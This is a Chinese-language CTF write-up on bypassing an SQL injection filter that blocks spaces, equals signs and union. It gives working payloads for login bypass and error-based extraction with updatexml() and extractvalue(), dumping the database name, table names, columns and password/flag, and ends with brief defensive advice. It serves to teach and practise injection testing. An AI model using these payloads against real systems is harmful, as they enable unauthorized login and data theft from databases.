当空格和等号都被过滤:突破SQL注入限制的实战指南
登录页面显示"这群该死的黑客竟然如此厉害",看来管理员已经对常见注入方式做了严格防护。但安全防护从来不是铁板一块,今天我们就来破解这个看似严密的防御系统。
1. 注入环境分析与过滤规则探测
面对一个未知的注入环境,第一步永远是摸清过滤规则。在本次挑战中,我们注意到几个关键特征:
- 基础测试
1' or '1'='1被拦截,说明存在关键词过滤 - 使用
admin 1' or测试时,发现空格字符被过滤 - 等号(=)同样出现在黑名单中
通过系统化的fuzz测试,我们整理出完整的过滤清单:
| 被过滤字符/关键词 | 替代方案 |
|---|---|
| 空格 | 使用括号()包裹 |
| = | 使用like操作符 |
| --+ | 使用#注释 |
| /**/ | 使用括号分隔 |
| union | 尝试报错注入 |
| by | 调整查询结构 |
关键发现:like操作符和括号()未被过滤,这将成为我们的突破口。
2. 基础绕过技术:重构查询语句
当传统注入方式失效时,我们需要重新构建查询逻辑。以下是重构后的万能密码方案:
1'or((1)like(1))#这个语句的精妙之处在于:
- 用括号
()替代空格分隔语句成分 - 用
like操作符替代被过滤的等号 #作为注释符确保语句完整执行
实际操作中,我们发现这种构造成功绕过了过滤机制,返回了正常登录响应。但作为安全研究者,我们不应止步于简单登录,而要深入挖掘数据。
3. 进阶注入:报错注入技术详解
当联合注入和堆叠注入都被封堵时,报错注入往往能打开新局面。MySQL提供了两个基于XML的报错函数:
updatexml():用于查询和修改XML文档extractvalue():用于查询XML文档
它们的共同特点是:当XPath格式错误时,会返回包含错误信息的报错消息——这正是我们需要的。
3.1 updatexml()实战应用
让我们从获取数据库名称开始:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#这段代码中:
0x7e是波浪号(~)的十六进制,用于标记输出concat()函数组合错误信息- 括号确保绕过空格限制
成功执行后,我们获得了数据库名geek。接下来获取表名:
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#这里需要注意:
- 用
like替代等号比较 - 用括号包裹所有可能包含空格的子句
group_concat()合并多行结果
3.2 处理输出长度限制
报错注入的一个限制是输出长度(通常32字符)。解决方案是使用字符串截取函数:
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#这里right()函数从右侧截取25个字符,配合前段查询结果,最终拼接出完整flag。
4. 替代方案:extractvalue()的巧妙应用
除了updatexml,extractvalue同样有效且语法相似。有趣的是,我们可以用异或操作符^绕过or限制:
1'^extractvalue(1,concat(0x7e,(select(database()))))#这种方法与括号绕过的区别在于:
^优先级高于or,改变语句执行顺序- 不需要依赖like操作符
- 在某些过滤规则下可能更有效
完整的数据提取流程如下:
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))# 1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))# 1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#5. 防御视角:从攻击中学习防护
完成挑战后,我们不妨从防御者角度思考如何加固系统:
- 参数化查询:使用预编译语句彻底杜绝注入
- 多层过滤:不仅过滤关键词,还要检测异常语法结构
- 错误处理:自定义错误信息,避免泄露系统细节
- 最小权限:数据库账户仅授予必要权限
在真实环境中,这些技术组合使用才能构建有效防护。CTF题目往往只展示特定场景,而实际防御需要全面考量。